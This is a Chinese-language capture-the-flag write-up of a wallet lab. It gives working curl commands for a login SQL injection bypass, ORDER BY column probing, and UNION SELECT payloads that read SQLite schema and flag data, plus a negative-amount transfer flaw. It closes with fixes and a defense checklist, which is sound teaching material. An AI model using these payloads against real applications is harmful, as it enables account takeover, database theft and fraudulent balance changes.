这篇是 Digital Wallet Lab 靶场的完整复盘。目标很明确:从一个只有登录页的钱包系统开始,找到后端漏洞并读取 flag。整条链路最后落在两个问题上:登录接口 SQL 注入 和 转账金额缺少正数校验。前者用于拿到管理员身份和读取数据库,后者说明业务逻辑也有明显缺口。
文章只针对授权训练环境。下面所有命令里的地址统一写成 https://<your-lab>.trycloudflare.com,实际操作时替换成靶场给你的 Cloudflare Tunnel 地址即可。
一、目标与结论
靶场页面是一个名为 Digital Wallet 的单页应用,前端基于 Vite/Vue/Vuetify,后端是 Express。入口页面没有直接给注册功能,只展示了几个已有账号:alice、bob、charlie。
最终 flag 为:
CTF{w4llet_1dor_sqli_bu51ness_l0g1c}
完整利用思路如下:
- 访问首页,下载前端 JS chunk。
- 从前端代码里提取后端 API:
/api/login、/api/me、/api/balance、/api/transfer、/api/transactions、/api/users。 - 测试默认口令,没有命中。
- 测试登录 SQL 注入,使用
admin'--绕过密码校验,拿到管理员 JWT。 - 确认登录查询列数为 6。
- 使用
UNION SELECT从sqlite_master读取表结构,发现flags表。 - 继续使用
UNION SELECT读取flags.flag_value,得到 flag。
二、连通性与基础信息收集
访问首页
先确认靶场是否能正常访问:
BASE="https://<your-lab>.trycloudflare.com"
curl -i -L "$BASE"
正常返回会看到类似页面:
<title>Digital Wallet</title>
<script type="module" crossorigin src="/assets/index-Cq7aS2Y4.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-DxCQ6krR.css">
这说明它是一个前后端分离的单页应用。页面真正的业务逻辑基本都在 /assets/*.js 里面。
网络问题排查
如果访问 Cloudflare Tunnel 时卡住,可以用 verbose 模式判断卡在哪里:
curl -vk --connect-timeout 8 --max-time 18 "$BASE"
我当时遇到过域名被解析到 198.18.* 这类 fake-ip 的情况,直连会超时。解决方式是让命令行走本机或宿主机代理。这个和漏洞本身无关,只是访问环境问题。浏览器能打开、curl 打不开时,优先检查代理、DNS 和 WSL 网关。
三、审前端:从 JS 里找 API
先下载首页和入口 JS:
mkdir -p /tmp/walletlab
curl -sS -L "$BASE/assets/index-Cq7aS2Y4.js" -o /tmp/walletlab/index.js
入口 JS 里会出现动态加载的 chunk 列表,关键文件包括:
assets/Login-C3jUqX1E.js
assets/Dashboard-BHub0iRv.js
assets/Transfer-BiuvpAcH.js
assets/Transactions-CIAEM1lM.js
assets/Profile-BLWGA2Rq.js
assets/index-D_BDq7UJ.js
继续下载这些 chunk:
curl -sS -L "$BASE/assets/Login-C3jUqX1E.js" -o /tmp/walletlab/Login.js
curl -sS -L "$BASE/assets/Dashboard-BHub0iRv.js" -o /tmp/walletlab/Dashboard.js
curl -sS -L "$BASE/assets/Transfer-BiuvpAcH.js" -o /tmp/walletlab/Transfer.js
curl -sS -L "$BASE/assets/Transactions-CIAEM1lM.js" -o /tmp/walletlab/Transactions.js
curl -sS -L "$BASE/assets/Profile-BLWGA2Rq.js" -o /tmp/walletlab/Profile.js
curl -sS -L "$BASE/assets/index-D_BDq7UJ.js" -o /tmp/walletlab/api.js
然后直接搜索关键字:
rg -n "(/api/|login|transfer|transactions|balance|users|Authorization|wallet_token)" /tmp/walletlab
最重要的是 api.js,它暴露了完整 API 封装:
baseURL: "/api"
POST /login
GET /me
GET /balance
POST /transfer
GET /transactions
GET /users
请求拦截器会从 localStorage 读取 wallet_token,然后带上:
Authorization: Bearer <token>
四、确认登录与未授权行为
先看未登录访问授权接口:
curl -i "$BASE/api/users"
curl -i "$BASE/api/me"
返回:
{"error":"未登录,请先登录"}
这说明接口本身确实需要 token。再测试页面公开账号的默认口令:
curl -i -H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice"}' \
"$BASE/api/login"
curl -i -H "Content-Type: application/json" \
-d '{"username":"alice","password":"password"}' \
"$BASE/api/login"
都返回:
{"error":"用户名或密码错误"}
默认口令不通,就要看登录接口是否有注入。
五、登录 SQL 注入:绕过密码拿 admin
直接测试最经典的注释截断:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"admin'--\",\"password\":\"x\"}" \
"$BASE/api/login"
返回了管理员用户和 JWT:
{
"message": "登录成功",
"token": "...",
"user": {
"id": 6,
"username": "admin",
"name": "Admin",
"balance": 999999.99,
"role": "admin",
"email": "admin@wallet.local"
}
}
这一步已经说明后端登录查询大概率类似下面这样拼接 SQL:
SELECT ... FROM users
WHERE username = '$username'
AND password = '$password'
当用户名传入 admin'-- 后,后半段密码条件被 SQL 注释掉,相当于只按用户名查用户。
保存管理员 token
实际操作时,把返回里的 token 存成变量:
TOKEN="这里替换成登录返回的 JWT"
然后访问管理员自己的资料:
curl -sS -H "Authorization: Bearer $TOKEN" "$BASE/api/me"
如果返回 admin 信息,说明身份可用。
六、业务逻辑漏洞:负数转账
前端转账页只判断金额不能为 0:
if (isNaN(amount) || amount === 0) {
error = "请输入有效的转账金额"
}
它没有禁止负数。于是可以测试服务端有没有兜底:
curl -sS -L -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"to_user_id":4,"amount":-0.01,"note":"balance check"}' \
"$BASE/api/transfer"
返回:
{
"message": "转账成功",
"transfer": {
"from_user_id": 6,
"to_user_id": 4,
"amount": -0.01,
"note": "balance check"
},
"new_balance": 1000000
}
这说明服务端也没有正确校验 amount > 0。管理员原本余额是 999999.99,转账 -0.01 后变成了 1000000。这是一个典型业务逻辑漏洞,但它还不是最终拿 flag 的关键点。真正关键还是 SQL 注入读库。
七、确定 UNION 注入列数
想从数据库里读表结构,需要让 UNION SELECT 的列数和原始登录查询一致。可以用 ORDER BY 探测:
for n in 1 2 3 4 5 6 7 8 9 10 11 12; do
body="{\"username\":\"x' ORDER BY $n--\",\"password\":\"x\"}"
code=$(curl -sS -o /tmp/walletlab/ord.out -w '%{http_code}' \
-H "Content-Type: application/json" \
-d "$body" \
"$BASE/api/login")
printf 'ORDER BY %s -> %s ' "$n" "$code"
cat /tmp/walletlab/ord.out
echo
done
结果是:
ORDER BY 1 -> 401
ORDER BY 2 -> 401
ORDER BY 3 -> 401
ORDER BY 4 -> 401
ORDER BY 5 -> 401
ORDER BY 6 -> 401
ORDER BY 7 -> 500
ORDER BY 6 正常,ORDER BY 7 报错,所以原查询返回 6 列。
八、确认 6 列分别映射到什么字段
构造一条假用户:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"x' UNION SELECT 999,'uname','nname','emailx',12345,'admin'--\",\"password\":\"x\"}" \
"$BASE/api/login"
返回里可以看到:
{
"user": {
"id": 999,
"username": "uname",
"name": "nname",
"balance": "emailx",
"role": 12345,
"email": "admin"
}
}
所以 6 列映射关系是:
| 第几列 | 返回字段 | 示例值 |
|---|---|---|
| 1 | id |
999 |
| 2 | username |
uname |
| 3 | name |
nname |
| 4 | balance |
emailx |
| 5 | role |
12345 |
| 6 | email |
admin |
为了让返回 token 也带管理员权限,第 5 列应该放 'admin'。为了方便看数据,可以把想读的内容塞到第 2 列,也就是 username。
九、读取 SQLite 表结构
SQLite 的表结构存在 sqlite_master 里。用 group_concat 把表名和建表语句拼起来:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(name||':'||sql,char(10)) FROM sqlite_master WHERE type='table'),'schema',0,'admin','e'--\",\"password\":\"x\"}" \
"$BASE/api/login"
返回的 user.username 里能看到三张关键表:
users:CREATE TABLE users (...)
transactions:CREATE TABLE transactions (...)
flags:CREATE TABLE flags (
id INTEGER PRIMARY KEY,
flag_value TEXT NOT NULL
)
这里已经明确 flag 存在 flags.flag_value。
十、读取 flag
最后一步,直接读 flags 表:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(flag_value,char(10)) FROM flags),'flag',0,'admin','e'--\",\"password\":\"x\"}" \
"$BASE/api/login"
返回:
{
"user": {
"id": 1,
"username": "CTF{w4llet_1dor_sqli_bu51ness_l0g1c}",
"name": "flag",
"balance": 0,
"role": "admin",
"email": "e"
}
}
所以最终 flag 是:
CTF{w4llet_1dor_sqli_bu51ness_l0g1c}
十一、完整命令速查
如果你只想复现,可以按下面这个最短路径走。先替换 BASE:
BASE="https://<your-lab>.trycloudflare.com"
验证登录注入拿管理员:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"admin'--\",\"password\":\"x\"}" \
"$BASE/api/login"
读表结构:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(name||':'||sql,char(10)) FROM sqlite_master WHERE type='table'),'schema',0,'admin','e'--\",\"password\":\"x\"}" \
"$BASE/api/login"
读 flag:
curl -sS -L -H "Content-Type: application/json" \
-d "{\"username\":\"x' UNION SELECT 1,(SELECT group_concat(flag_value,char(10)) FROM flags),'flag',0,'admin','e'--\",\"password\":\"x\"}" \
"$BASE/api/login"
十二、为什么这个漏洞成立
这个靶场把两个常见问题放在了一起。
1. 登录 SQL 拼接
从现象看,后端把用户输入直接拼进了 SQL。只要输入里出现单引号和注释符,就能改变原查询逻辑。正确做法应该是使用参数化查询,例如:
db.get(
"SELECT * FROM users WHERE username = ? AND password = ?",
[username, password]
)
无论用户传入什么特殊字符,都只会被当作参数值,不会变成 SQL 语法的一部分。
2. 金额校验只放在前端
前端判断不等于安全校验。浏览器里的代码用户可以改,接口也可以绕过前端直接请求。所以转账接口必须在服务端检查:
if (!Number.isFinite(amount) || amount <= 0) {
return res.status(400).json({ error: "金额必须大于 0" })
}
还要注意精度问题,真实钱包不应该直接用浮点数保存金额,更稳妥的做法是用整数分,例如 100 表示 1.00 元。
十三、防护清单
- 所有 SQL 使用参数化查询,不要字符串拼接。
- 密码使用哈希存储,不要明文保存密码。
- 服务端重复校验关键业务规则,尤其是金额、用户 ID、权限、状态流转。
- 金额用整数最小单位保存,避免浮点数误差。
- JWT 只做身份载体,关键权限仍然要在服务端查库确认。
- 隐藏表不是安全边界,只要有 SQL 注入,数据库里的隐藏表都可能被读到。
- 错误响应不要泄露 SQL 细节,但同时要有服务端日志方便定位。
十四、复盘
这题的关键不是“暴力猜密码”,而是先从前端还原后端接口,再围绕认证入口做输入测试。登录口一旦有 SQL 注入,就可以先绕过身份,再利用同一个注入点读取数据库 schema,最后定位到 flags 表。
完整链路可以概括为:
前端 JS 枚举 API
-> /api/login SQL 注入
-> admin'-- 拿管理员 JWT
-> ORDER BY 确认 6 列
-> UNION SELECT 读取 sqlite_master
-> 发现 flags 表
-> UNION SELECT 读取 flag_value
-> CTF{w4llet_1dor_sqli_bu51ness_l0g1c}
对新手来说,这题很适合练三个基本功:看前端包找接口、用 curl 复现请求、用 SQL 注入从绕过登录走到读库。只要按顺序做,不需要复杂工具,也不需要大字典爆破。